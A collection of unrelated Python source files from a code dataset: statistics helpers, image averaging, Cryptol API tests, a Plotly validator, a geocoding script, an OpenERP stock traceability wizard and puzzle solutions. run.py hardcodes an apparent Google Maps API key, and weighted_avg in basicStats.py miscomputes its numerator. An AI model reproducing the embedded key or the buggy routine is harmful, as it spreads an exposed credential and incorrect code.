buid_json(names, matrix)\n #\n # str = json.dumps(js, indent=4)\n #\n # filename = \"/home/lizhifeng/Downloads/forced_direct_graph/miserables.json\"\n # # filename = \"miserables.json\"\n # fd = open(filename, 'w')\n # fd.write(str)\n # fd.close()\n\n\n f = open(\"distance.csv\", 'wt')\n writer = csv.writer(f)\n # col_names = []\n n = 100\n for i in range(n):\n row = []\n for j in range(n):\n d = dist(matrix[i], matrix[j])\n row.append(d)\n\n writer.writerow(row)\n f.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"forced_direct_graph/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"548600769","text":"# basicStats.py\n#\n# This module contains some basic math functions to use when evaluating results\n# from the MaSim model. This module was written with ASC files and NODATA values\n# in mind.\n\ndef avg(values):\n total = 0\n count = 0\n for row in values:\n for value in row:\n total += value\n count += 1\n\n return total / count\n\n\ndef mse(expected, observed, nodata):\n total = 0\n count = 0\n for x in range(len(expected)):\n for y in range(len(expected[0])):\n if expected[x][y] == nodata: continue \n total += pow(expected[x][y] - observed[x][y], 2)\n count += 1\n return total / count\n\n\ndef weighted_avg(values, weights, nodata): \n numerator = 0\n denominator = 0\n for x in range(len(weights)):\n for y in range(len(weights[0])):\n if weights[x][y] == nodata: continue \n numerator = (values[x][y] * weights[x][y]) \n denominator += weights[x][y] \n return numerator / denominator\n","sub_path":"Source/Analysis/PfPRMap/include/basicStats.py","file_name":"basicStats.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"163859804","text":"def fib_even_sum(n):\n \"\"\"Calculate the sum of the even fibonacci numbers whose values are not\n grater than given integer.\n\n Args:\n n - the limit value, int\n \n Returns:\n a sum of the fibonacci numbers, int\n\n >>> fib_even_sum(10)\n 10\n >>> fib_even_sum(100)\n 44\n >>> fib_even_sum(4000000)\n 4613732\n \"\"\"\n prev_i, i, next_i = 0, 2, 8\n s = i\n while n > next_i:\n s = s + next_i\n prev_i = i\n i = next_i\n next_i = i*4 + prev_i\n return s\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n\n\n","sub_path":"fib_even_sum.py","file_name":"fib_even_sum.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"42166656","text":"#!/usr/bin/env python3\n\nimport cv2\nimport argparse\nfrom glob import glob\nimport os.path as osp\nimport os\nimport numpy as np\nfrom sklearn import cluster\n\nimport matplotlib.pyplot as plt\n\nshape = None\n\n\ndef load_dataset(root_directory):\n\n global shape\n result = []\n out_dir = root_directory.rstrip('/') + '_output'\n os.makedirs(out_dir, exist_ok=True)\n\n pics = glob(osp.join(root_directory, '**', '**50.jpg'))\n if not pics:\n pics = glob(osp.join(root_directory, '*.jpg'))\n\n for i, fn in enumerate(pics):\n\n image = cv2.imread(fn)\n shape = image.shape\n # image = cv2.resize(image, (32, 64))\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n # image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # kernel = np.ones((5, 5)) / 250\n # image = cv2.filter2D(image, -1, kernel)\n # image = 255 - image\n # image = cv2.Canny(image, 100, 200)\n cv2.imwrite(osp.join(out_dir, str(i) + '.jpg'), image)\n # if i == 8:\n # plt.imshow(image)\n # plt.show()\n\n result.append((image.flatten() / 255))\n\n return result\n\n\ndef load_from_h5(fn, dset):\n\n import h5py\n\n f = h5py.File(fn, 'r')\n arr = f[dset][:, :, :]\n C, H, W = arr.shape\n return arr.reshape((C, H * W))\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('root')\n parser.add_argument('file1')\n parser.add_argument('file2')\n options = parser.parse_args()\n\n with open(options.file1, 'r') as f:\n list1 = [x.strip() for x in f]\n\n with open(options.file2, 'r') as f:\n list2 = [x.strip() for x in f]\n\n img1 = []\n img2 = []\n\n for fn in glob(osp.join(options.root, '*.jpg')):\n bname = osp.basename(fn)\n if bname in list1:\n img1.append(cv2.imread(fn) / 255)\n elif bname in list2:\n img2.append(cv2.imread(fn) / 255)\n\n plt.imshow(np.average(img1, axis=0))\n plt.show()\n\n plt.imshow(np.average(img2, axis=0))\n plt.show()\n\n # from skfuzzy.cluster import cmeans\n # print(dataset.shape)\n # u = cmeans(dataset.T, 2, 1.07, 1e-11, 700)[1]\n # result = u.argmax(axis=0)\n # print(result)\n # print(result.sum(), (1 - result).sum())\n # out_dir = options.ROOT.rstrip('/') + '_output'\n # for x in (0, 1):\n # im0 = np.average(dataset[result == x], axis=0)\n # im0 = (im0.reshape(shape) * 255).astype(np.int)\n # plt.imshow(im0)\n # plt.show()\n # cv2.imwrite(osp.join(out_dir, 'cluster_%d_avg.jpg' % x), im0, )\n # with open(osp.join(out_dir, 'cluster_0.list'), 'w') as f0, open(osp.join(out_dir, 'cluster_1.list'), 'w') as f1:\n # for i, x in enumerate(result):\n # print(str(i) + '.jpg', file=f1 if x == 1 else f0)\n # clusterer = cluster.KMeans(2)\n\n # print(clusterer.fit_predict(dataset))\n","sub_path":"vis/avg.py","file_name":"avg.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"392065469","text":"\nfrom math import gcd\nfrom functools import reduce\nfrom collections import defaultdict\n\n\ndef calc_factor(n):\n # O(N log log N)\n min_factor = list(range(n + 1))\n for i in range(2, n + 1):\n if min_factor[i] == i:\n for j in range(2 * i, n + 1, i):\n min_factor[j] = i\n return min_factor\n\n\ndef calc_prime_factor(n, min_factor):\n # O(log N)\n ctr = defaultdict(int)\n while n > 1:\n div = min_factor[n]\n while n % div == 0:\n ctr[div] += 1\n n //= div\n return ctr\n\n\nN = int(input())\nX = list(map(int, input().split()))\n\nmin_factor = calc_factor(10 ** 6 + 10)\npairwise = True\nappeared = set()\nfor v in X:\n primes = calc_prime_factor(v, min_factor)\n for n in primes:\n if n in appeared:\n pairwise = False\n appeared.add(n)\n\nif pairwise:\n print(\"pairwise coprime\")\nelif reduce(gcd, X) == 1:\n print(\"setwise coprime\")\nelse:\n print(\"not coprime\")\n","sub_path":"contest_src/abc177/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"317982753","text":"import _plotly_utils.basevalidators\n\n\nclass LineValidator(_plotly_utils.basevalidators.CompoundValidator):\n def __init__(self, plotly_name=\"line\", parent_name=\"bar.marker\", **kwargs):\n super(LineValidator, self).__init__(\n plotly_name=plotly_name,\n parent_name=parent_name,\n data_class_str=kwargs.pop(\"data_class_str\", \"Line\"),\n data_docs=kwargs.pop(\n \"data_docs\",\n \"\"\"\n autocolorscale\n Determines whether the colorscale is a default\n palette (`autocolorscale: true`) or the palette\n determined by `marker.line.colorscale`. Has an\n effect only if in `marker.line.color` is set to\n a numerical array. In case `colorscale` is\n unspecified or `autocolorscale` is true, the\n default palette will be chosen according to\n whether numbers in the `color` array are all\n positive, all negative or mixed.\n cauto\n Determines whether or not the color domain is\n computed with respect to the input data (here\n in `marker.line.color`) or the bounds set in\n `marker.line.cmin` and `marker.line.cmax` Has\n an effect only if in `marker.line.color` is set\n to a numerical array. Defaults to `false` when\n `marker.line.cmin` and `marker.line.cmax` are\n set by the user.\n cmax\n Sets the upper bound of the color domain. Has\n an effect only if in `marker.line.color` is set\n to a numerical array. Value should have the\n same units as in `marker.line.color` and if\n set, `marker.line.cmin` must be set as well.\n cmid\n Sets the mid-point of the color domain by\n scaling `marker.line.cmin` and/or\n `marker.line.cmax` to be equidistant to this\n point. Has an effect only if in\n `marker.line.color` is set to a numerical\n array. Value should have the same units as in\n `marker.line.color`. Has no effect when\n `marker.line.cauto` is `false`.\n cmin\n Sets the lower bound of the color domain. Has\n an effect only if in `marker.line.color` is set\n to a numerical array. Value should have the\n same units as in `marker.line.color` and if\n set, `marker.line.cmax` must be set as well.\n color\n Sets the marker.line color. It accepts either a\n specific color or an array of numbers that are\n mapped to the colorscale relative to the max\n and min values of the array or relative to\n `marker.line.cmin` and `marker.line.cmax` if\n set.\n coloraxis\n Sets a reference to a shared color axis.\n References to these shared color axes are\n \"coloraxis\", \"coloraxis2\", \"coloraxis3\", etc.\n Settings for these shared color axes are set in\n the layout, under `layout.coloraxis`,\n `layout.coloraxis2`, etc. Note that multiple\n color scales can be linked to the same color\n axis.\n colorscale\n Sets the colorscale. Has an effect only if in\n `marker.line.color` is set to a numerical\n array. The colorscale must be an array\n containing arrays mapping a normalized value to\n an rgb, rgba, hex, hsl, hsv, or named color\n string. At minimum, a mapping for the lowest\n (0) and highest (1) values are required. For\n example, `[[0, 'rgb(0,0,255)'], [1,\n 'rgb(255,0,0)']]`. To control the bounds of the\n colorscale in color space, use\n `marker.line.cmin` and `marker.line.cmax`.\n Alternatively, `colorscale` may be a palette\n name string of the following list: Blackbody,Bl\n uered,Blues,Cividis,Earth,Electric,Greens,Greys\n ,Hot,Jet,Picnic,Portland,Rainbow,RdBu,Reds,Viri\n dis,YlGnBu,YlOrRd.\n colorsrc\n Sets the source reference on Chart Studio Cloud\n for `color`.\n reversescale\n Reverses the color mapping if true. Has an\n effect only if in `marker.line.color` is set to\n a numerical array. If true, `marker.line.cmin`\n will correspond to the last color in the array\n and `marker.line.cmax` will correspond to the\n first color.\n width\n Sets the width (in px) of the lines bounding\n the marker points.\n widthsrc\n Sets the source reference on Chart Studio Cloud\n for `width`.\n\"\"\",\n ),\n **kwargs,\n )\n","sub_path":"packages/python/plotly/plotly/validators/bar/marker/_line.py","file_name":"_line.py","file_ext":"py","file_size_in_byte":5139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152168855","text":"import csv\nimport json\nimport time\nimport requests\n\n# read the csv\nf = open('tbl_skpd.csv')\ncsv_f = csv.reader(f)\n\n# skip the first line\nnext(csv_f)\n\n# for each row in the csv\nfor row in csv_f:\n time.sleep(3) # first pause (in order not to exceed rate limit or have connection time out)\n # if alamat is not empty, then connect to googmle maps API and save the data in a file with the skpdID.json\n if row[7] != \"\":\n # create variable for file name\n filename = \"json/\" + row[0] + \".json\"\n # create the request to google maps api\n url = \"https://maps.google.com/maps/api/geocode/json?address=\" + row[7] + \"&key=AIzaSyDmGnhhccwog6j_hFmAo8zg1VaYWE_m7Ak&sensor=false\"\n #check the url in the terminal to make sure it isok\n print(url)\n # do the request\n loc = requests.get(url)\n # save the request result in variable called data and then write down the variable to a file.\n data = loc.json()\n dataFile = open(filename, 'w')\n # write down the variable, but use json.dump with an indent for pretty printing and good format of json\n dataFile.write(json.dumps(data, indent=4))\n # close the connection to the file and continue the loop\n dataFile.close()","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"47221239","text":"import os\nfrom pathlib import Path\nimport signal\nimport subprocess\nimport sys\nimport time\n\nimport argo.connection as argo\nimport cryptol\nfrom cryptol import CryptolConnection, CryptolContext, cry\n\ndir_path = Path(os.path.dirname(os.path.realpath(__file__)))\n\ncryptol_path = dir_path.joinpath('test-data')\n\n\n\ndef low_level_api_test(c):\n\n id_1 = c.send_command(\"load module\", {\"module name\": \"M\", \"state\": None})\n reply_1 = c.wait_for_reply_to(id_1)\n assert('result' in reply_1)\n assert('state' in reply_1['result'])\n assert('answer' in reply_1['result'])\n state_1 = reply_1['result']['state']\n\n id_2 = c.send_query(\"evaluate expression\", {\"expression\": {\"expression\":\"call\",\"function\":\"f\",\"arguments\":[{\"expression\":\"bits\",\"encoding\":\"hex\",\"data\":\"ff\",\"width\":8}]}, \"state\": state_1})\n reply_2 = c.wait_for_reply_to(id_2)\n assert('result' in reply_2)\n assert('answer' in reply_2['result'])\n assert('value' in reply_2['result']['answer'])\n assert(reply_2['result']['answer']['value'] ==\n {'data': [{'data': 'ff', 'width': 8, 'expression': 'bits', 'encoding': 'hex'},\n {'data': 'ff', 'width': 8, 'expression': 'bits', 'encoding': 'hex'}],\n 'expression': 'sequence'})\n\n id_3 = c.send_query(\"evaluate expression\", {\"expression\": {\"expression\":\"call\",\"function\":\"g\",\"arguments\":[{\"expression\":\"bits\",\"encoding\":\"hex\",\"data\":\"ff\",\"width\":8}]}, \"state\": state_1})\n reply_3 = c.wait_for_reply_to(id_3)\n assert('result' in reply_3)\n assert('answer' in reply_3['result'])\n assert('value' in reply_3['result']['answer'])\n assert(reply_3['result']['answer']['value'] ==\n {'data': [{'data': 'ff', 'width': 8, 'expression': 'bits', 'encoding': 'hex'},\n {'data': 'ff', 'width': 8, 'expression': 'bits', 'encoding': 'hex'}],\n 'expression': 'sequence'})\n\n id_4 = c.send_query(\"evaluate expression\", {\"expression\":{\"expression\":\"call\",\"function\":\"h\",\"arguments\":[{\"expression\":\"sequence\",\"data\":[{\"expression\":\"bits\",\"encoding\":\"hex\",\"data\":\"ff\",\"width\":8},{\"expression\":\"bits\",\"encoding\":\"hex\",\"data\":\"ff\",\"width\":8}]}]}, \"state\": state_1})\n reply_4 = c.wait_for_reply_to(id_4)\n assert('result' in reply_4)\n assert('answer' in reply_4['result'])\n assert('value' in reply_4['result']['answer'])\n assert(reply_4['result']['answer']['value'] ==\n {'data': [{'data': 'ff', 'width': 8, 'expression': 'bits', 'encoding': 'hex'},\n {'data': 'ff', 'width': 8, 'expression': 'bits', 'encoding': 'hex'}],\n 'expression': 'sequence'})\n\n a_record = {\"expression\": \"record\",\n \"data\": {\"unit\": \"()\",\n \"fifteen\": {\"expression\": \"bits\",\n \"encoding\": \"hex\",\n \"width\": 4,\n \"data\": \"f\"}}}\n\n id_5 = c.send_query(\"evaluate expression\", {\"state\": state_1, \"expression\": a_record})\n reply_5 = c.wait_for_reply_to(id_5)\n assert('result' in reply_5)\n assert('answer' in reply_5['result'])\n assert('value' in reply_5['result']['answer'])\n assert(reply_5['result']['answer']['value'] ==\n {'expression': 'record',\n 'data': {'fifteen':\n {'data': 'f',\n 'width': 4,\n 'expression': 'bits',\n 'encoding': 'hex'},\n 'unit':\n {'expression': 'unit'}}})\n\n id_6 = c.send_query(\"evaluate expression\",\n {\"state\": state_1,\n \"expression\": {\"expression\": \"let\",\n \"binders\": [{\"name\": \"theRecord\", \"definition\": a_record}],\n \"body\": {\"expression\": \"tuple\",\n \"data\": [a_record, \"theRecord\"]}}})\n reply_6 = c.wait_for_reply_to(id_6)\n assert('result' in reply_6)\n assert('answer' in reply_6['result'])\n assert('value' in reply_6['result']['answer'])\n assert(reply_6['result']['answer']['value'] ==\n {'expression': 'tuple',\n 'data': [{'data': {'fifteen': {'data': 'f', 'width': 4, 'expression': 'bits', 'encoding': 'hex'},\n 'unit': {'expression': 'unit'}},\n 'expression': 'record'},\n {'data': {'fifteen': {'data': 'f', 'width': 4, 'expression': 'bits', 'encoding': 'hex'},\n 'unit': {'expression': 'unit'}},\n 'expression': 'record'}]})\n\n id_7 = c.send_query(\"evaluate expression\",\n {\"state\": state_1,\n \"expression\": {\"expression\": \"sequence\",\n \"data\": [a_record, a_record]}})\n reply_7 = c.wait_for_reply_to(id_7)\n assert('result' in reply_7)\n assert('answer' in reply_7['result'])\n assert('value' in reply_7['result']['answer'])\n assert(reply_7['result']['answer']['value'] ==\n {'expression': 'sequence',\n 'data': [{'data': {'fifteen': {'data': 'f', 'width': 4, 'expression': 'bits', 'encoding': 'hex'},\n 'unit': {'expression': 'unit'}},\n 'expression': 'record'},\n {'data': {'fifteen': {'data': 'f', 'width': 4, 'expression': 'bits', 'encoding': 'hex'},\n 'unit': {'expression': 'unit'}},\n 'expression': 'record'}]})\n\n id_8 = c.send_query(\"evaluate expression\",\n {\"state\": state_1,\n \"expression\": {\"expression\": \"integer modulo\",\n \"integer\": 14,\n \"modulus\": 42}})\n reply_8 = c.wait_for_reply_to(id_8)\n assert('result' in reply_8)\n assert('answer' in reply_8['result'])\n assert('value' in reply_8['result']['answer'])\n assert(reply_8['result']['answer']['value'] ==\n {\"expression\": \"integer modulo\",\n \"integer\": 14,\n \"modulus\": 42})\n\n id_9 = c.send_query(\"evaluate expression\",\n {\"state\": state_1,\n \"expression\": \"m `{a=60}\"})\n reply_9 = c.wait_for_reply_to(id_9)\n assert('result' in reply_9)\n assert('answer' in reply_9['result'])\n assert('value' in reply_9['result']['answer'])\n assert(reply_9['result']['answer']['value'] ==\n {\"expression\": \"integer modulo\",\n \"integer\": 42,\n \"modulus\": 60})\n\n\n id_10 = c.send_query(\"evaluate expression\", {\"state\": state_1, \"expression\": \"two\"})\n reply_10 = c.wait_for_reply_to(id_10)\n assert('result' in reply_10)\n assert('answer' in reply_10['result'])\n assert('value' in reply_10['result']['answer'])\n assert(reply_10['result']['answer']['value'] == {'data': '0002', 'width': 15, 'expression': 'bits', 'encoding': 'hex'})\n\n id_11 = c.send_query(\"evaluate expression\", {\"state\": state_1, \"expression\": \"three\"})\n reply_11 = c.wait_for_reply_to(id_11)\n assert('result' in reply_11)\n assert('answer' in reply_11['result'])\n assert('value' in reply_11['result']['answer'])\n assert(reply_11['result']['answer']['value'] == {'data': '0003', 'width': 16, 'expression': 'bits', 'encoding': 'hex'})\n\n id_12 = c.send_query(\"evaluate expression\", {\"state\": state_1, \"expression\": \"four\"})\n reply_12 = c.wait_for_reply_to(id_12)\n assert('result' in reply_12)\n assert('answer' in reply_12['result'])\n assert('value' in reply_12['result']['answer'])\n assert(reply_12['result']['answer']['value'] == {'data': '00004', 'width': 17, 'expression': 'bits', 'encoding': 'hex'})\n\n # Test empty options\n def test_options(options):\n id_opt = c.send_query(\"evaluate expression\", {\"state\": state_1, \"expression\": \"four\", \"options\": options})\n reply_opt = c.wait_for_reply_to(id_opt)\n assert('result' in reply_opt)\n assert('answer' in reply_opt['result'])\n assert('value' in reply_opt['result']['answer'])\n assert(reply_opt['result']['answer']['value'] == {'data': '00004', 'width': 17, 'expression': 'bits', 'encoding': 'hex'})\n\n test_options(dict())\n test_options({\"call stacks\": True})\n test_options({\"call stacks\": False})\n test_options({\"call stacks\": False, \"output\": dict()})\n test_options({\"call stacks\": False, \"output\": {\"ASCII\": True}})\n test_options({\"call stacks\": False, \"output\": {\"base\": 16}})\n test_options({\"call stacks\": False, \"output\": {\"prefix of infinite lengths\": 3}})\n\n def test_instantiation(t, expected=None):\n if expected is None: expected = t\n id_t = c.send_query(\"check type\", {\"state\": state_1, \"expression\": {\"expression\": \"instantiate\", \"generic\": \"id\", \"arguments\": {\"a\": t}}})\n reply_t = c.wait_for_reply_to(id_t)\n assert('result' in reply_t)\n assert('answer' in reply_t['result'])\n assert('type schema' in reply_t['result']['answer'])\n assert(reply_t['result']['answer']['type schema']['type']['domain'] == expected)\n\n # These test both the type instantiation form and the serialization/deserialization of the types involved\n test_instantiation({\"type\": \"Integer\"})\n test_instantiation({\"type\": \"record\",\n \"fields\": {'a': {'type': 'Integer'},\n 'b': {'type': 'sequence', 'length': {'type': 'inf'}, 'contents': {'type': 'unit'}}}})\n test_instantiation({'type': 'sequence',\n 'length': {'type': 'number', 'value': 42},\n 'contents': {'type': 'Rational'}})\n test_instantiation({'type': 'bitvector',\n 'width': {'type': 'number', 'value': 432}})\n test_instantiation({'type': 'variable',\n 'name': 'Word8'},\n {'type': 'bitvector',\n 'width': {'type': 'number', 'value': 8}})\n test_instantiation({'type': 'variable',\n 'name': 'Twenty',\n 'arguments': [{'type': 'Z', 'modulus': {'type': 'number', 'value': 5}}]},\n { 'type': 'sequence',\n 'length': {'value': 20, 'type': 'number'},\n 'contents': {'type': 'Z', 'modulus': {'value': 5, 'type': 'number'}}})\n\n\n# Test with both sockets and stdio\n\nc1 = argo.ServerConnection(\n cryptol.CryptolDynamicSocketProcess(\n \"cryptol-remote-api socket\",\n cryptol_path=cryptol_path))\nc2 = argo.ServerConnection(\n cryptol.CryptolStdIOProcess(\n \"cryptol-remote-api stdio\",\n cryptol_path=cryptol_path))\n\nlow_level_api_test(c1)\nlow_level_api_test(c2)\n\nenv = os.environ.copy()\nenv['CRYPTOLPATH'] = cryptol_path\n\np = subprocess.Popen(\n [\"cryptol-remote-api\", \"socket\", \"--port\", \"50005\"],\n stdout=subprocess.DEVNULL,\n stdin=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n start_new_session=True,\n env=env)\n\ntime.sleep(5)\nassert(p is not None)\nassert(p.poll() is None)\n\nc3 = argo.ServerConnection(\n argo.RemoteSocketProcess('localhost', 50005, ipv6=True))\n\nlow_level_api_test(c3)\n\nos.killpg(os.getpgid(p.pid), signal.SIGKILL)\n","sub_path":"cryptol-remote-api/test-scripts/cryptol-tests.py","file_name":"cryptol-tests.py","file_ext":"py","file_size_in_byte":11283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"287961389","text":"# Copyright 2016 Raytheon BBN Technologies\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# This file is originally from PyQLab (http://github.com/bbn-q/PyQLab)\n\nimport json\nimport os.path\nimport sys\n\n# Run this code by importing config.py\n# Load the configuration from the json file and populate the global configuration dictionary\nroot_path = os.path.dirname( os.path.abspath(__file__) )\nroot_path = os.path.abspath(os.path.join(root_path, \"../..\" ))\nconfig_dir = os.path.join(root_path, 'config')\nconfig_file = os.path.join(config_dir, 'config.json')\n\nif not os.path.isfile(config_file):\n\t# build a config file from the template\n\ttemplate_file = os.path.join(config_dir, 'config.example.json')\n\twith open(template_file, 'r') as ifid:\n\t\ttemplate = json.load(ifid)\n\tcfg = {}\n\tfor k,v in template.items():\n\t\tcfg[k] = os.path.join(config_dir, v.replace(\"/my/path/to/\", \"\"))\n\n\twith open(config_file, 'w') as ofid:\n\t\tjson.dump(cfg, ofid, indent=2)\nelse:\n\twith open(config_file, 'r') as f:\n\t\tcfg = json.load(f)\n\n# pull out the variables\n# abspath allows the use of relative file names in the config file\nAWGDir = os.path.abspath(cfg['AWGDir'])\ninstrumentLibFile = os.path.abspath(cfg['InstrumentLibraryFile'])\nchannelLibFile = os.path.abspath(cfg['ChannelLibraryFile'])\nsweepLibFile = os.path.abspath(cfg['SweepLibraryFile'])\nmeasurementLibFile = os.path.abspath(cfg['MeasurementLibraryFile'])\n# expSettingsFile = os.path.abspath(cfg['ExpSettingsFile'])\n","sub_path":"src/auspex/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260277330","text":"from aoc2020.input_utils import get_input_file_lines_no_nl\n\nACTIVE = '#'\n\n\nclass Point:\n def __init__(self, coords):\n self.coords = coords\n self.dim = len(coords)\n\n def elevate(self, new_coord):\n return Point(self.coords + [new_coord])\n\n def get_surrounding_points(self):\n point_changes = set()\n partial_point_changes = {Point([0]), Point([-1]), Point([1])}\n for _ in range(self.dim-1):\n new_partials = set()\n for next_change in [-1, 0, 1]:\n for partial_point in partial_point_changes:\n new_partials.add(partial_point.elevate(next_change))\n partial_point_changes = new_partials\n point_changes = partial_point_changes - set([Point([0] * self.dim)])\n return {self + p for p in point_changes}\n\n def __eq__(self, other):\n if not isinstance(other, Point):\n return False\n if other.dim != self.dim:\n return False\n return other.coords == self.coords\n\n def __add__(self, other):\n if not isinstance(other, Point):\n raise ValueError('Object is not a point!')\n if other.dim != self.dim:\n raise ValueError('Dimensions are different!')\n else:\n new_coords = [self.coords[i] + other.coords[i]\n for i in range(len(self.coords))]\n return Point(new_coords)\n\n def __str__(self):\n return str(tuple(self.coords))\n\n def __repr__(self):\n return 'Point' + str(tuple(self.coords))\n\n def __hash__(self):\n return str(self).__hash__()\n\n\ndef cube_is_active_after_iteration(active_cubes, point):\n if point in active_cubes:\n if len(active_cubes.intersection(point.get_surrounding_points())) in [2, 3]:\n return True\n else:\n return False\n else:\n if len(active_cubes.intersection(point.get_surrounding_points())) == 3:\n return True\n else:\n return False\n\n\ndef simulate_cube_iteration(active_cubes):\n new_active_cubes = set()\n potential_next_active = set()\n for active_cube in active_cubes:\n potential_next_active.add(active_cube)\n potential_next_active = potential_next_active.union(\n active_cube.get_surrounding_points())\n for cube in potential_next_active:\n if cube_is_active_after_iteration(active_cubes, cube):\n new_active_cubes.add(cube)\n return new_active_cubes\n\n\ndef simulate_cubes_v3(active_cubes, nr_iterations):\n current_active_cubes = active_cubes\n print(f'Initial active cubes:', len(active_cubes))\n for _ in range(nr_iterations):\n current_active_cubes = simulate_cube_iteration(current_active_cubes)\n print(f'active cubes:', len(current_active_cubes))\n return current_active_cubes\n\n\ndef part01_v3(lines):\n active_cubes = parse_active_points(lines, 3)\n active_cubes_end = simulate_cubes_v3(active_cubes, 6)\n print('Part 1:', len(active_cubes_end))\n\n\ndef part02_v3(lines):\n active_cubes = parse_active_points(lines, 4)\n active_cubes_end = simulate_cubes_v3(active_cubes, 6)\n print('Part 2:', len(active_cubes_end))\n\n\ndef parse_active_points(lines, dimensions=3):\n active_set = set()\n for y, line in enumerate(lines):\n for x, c in enumerate(line):\n if c == ACTIVE:\n coords = [x, y] + [0] * (dimensions-2)\n point = Point(coords)\n active_set.add(point)\n return active_set\n\n\nif __name__ == '__main__':\n lines = get_input_file_lines_no_nl('day17.txt')\n part01_v3(lines)\n part02_v3(lines)\n","sub_path":"aoc2020/day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481828434","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2009 Tiny SPRL (). All Rights Reserved\n# $Id$\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\"\"\"wizard that replace completely stock traceability wizard of stock for only show the first time to a prodlot is parent\nin the traceability\"\"\"\n\nimport wizard\nimport pooler\nfrom tools.translate import _\n\ndef action_traceability(tree_type='move_history_ids', field='tracking_id'):\n \"\"\"call to recursive method that shows tree view\"\"\"\n def open_tab(self, cr, uid, data, context):\n \"\"\"recursive method that searches tree view and prodlots ids\"\"\"\n obj = pooler.get_pool(cr.dbname).get('stock.move')\n ids = obj.search(cr, uid, [(field, 'in', data['ids'])])\n\n if not isinstance(ids, list):\n ids = [ids]\n\n if ids:\n # pylint: disable-msg=W0141\n ids = ','.join(map(str, ids))\n\n #filter ids: not can have parents or production final moves\n cr.execute(\"\"\"select stock_move.id from stock_move inner join stock_production_lot\n on stock_move.prodlot_id = stock_production_lot.id where stock_move.id in (%s) and\n (stock_move.id not in (select child_id from stock_move_history_ids) or\n (is_mix = True and prodlot_id not in (select distinct prodlot_id from stock_move AS sm\n inner join stock_move_history_ids on sm.id = parent_id\n where child_id in (stock_move.id))) or production_id is not null)\"\"\" % (ids))\n\n ids = []\n for (parent_id,) in cr.fetchall():\n ids.append(parent_id)\n\n cr.execute('select id from ir_ui_view where model=%s and field_parent=%s and type=%s', ('valid.stock.moves', tree_type, 'tree'))\n view_id = cr.fetchone()[0]\n # pylint: disable-msg=W0141\n value = {\n 'domain': \"[('id','in',[\"+','.join(map(str, ids))+\"])]\",\n 'name': ((tree_type=='move_history_ids') and _('Upstream Traceability')) or _('Downstream Traceability'),\n 'view_type': 'tree',\n 'res_model': 'valid.stock.moves',\n 'field_parent': tree_type,\n 'view_id': (view_id,'View'),\n 'type': 'ir.actions.act_window'\n }\n return value\n return open_tab\n\nclass wiz_journal(wizard.interface):\n \"\"\"down traceability for trac lots\"\"\"\n states = {\n 'init': {\n 'actions': [],\n 'result': {'type': 'action', 'action': action_traceability('move_history_ids2'), 'state':'end'}\n }\n }\nwiz_journal('stock.liquid.traceability.tracking.downstream')\n\nclass wiz_journal2(wizard.interface):\n \"\"\"up traceability for trac lots\"\"\"\n states = {\n 'init': {\n 'actions': [],\n 'result': {'type': 'action', 'action': action_traceability(), 'state':'end'}\n }\n }\nwiz_journal2('stock.liquid.traceability.tracking.upstream')\n\nclass wiz_journal3(wizard.interface):\n \"\"\"up traceability for prodlots\"\"\"\n states = {\n 'init': {\n 'actions': [],\n 'result': {'type': 'action', 'action': action_traceability(field='prodlot_id'), 'state':'end'}\n }\n }\nwiz_journal3('stock.liquid.traceability.lot.upstream')\n\nclass wiz_journal4(wizard.interface):\n \"\"\"down traceability for prodlots\"\"\"\n states = {\n 'init': {\n 'actions': [],\n 'result': {'type': 'action', 'action': action_traceability('move_history_ids2', 'prodlot_id'), 'state':'end'}\n }\n }\nwiz_journal4('stock.liquid.traceability.lot.downstream')\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","sub_path":"addons-community/pxgo_full_stock_traceability/wizard/stock_traceability.py","file_name":"stock_traceability.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"372478108","text":"import RPi.GPIO as 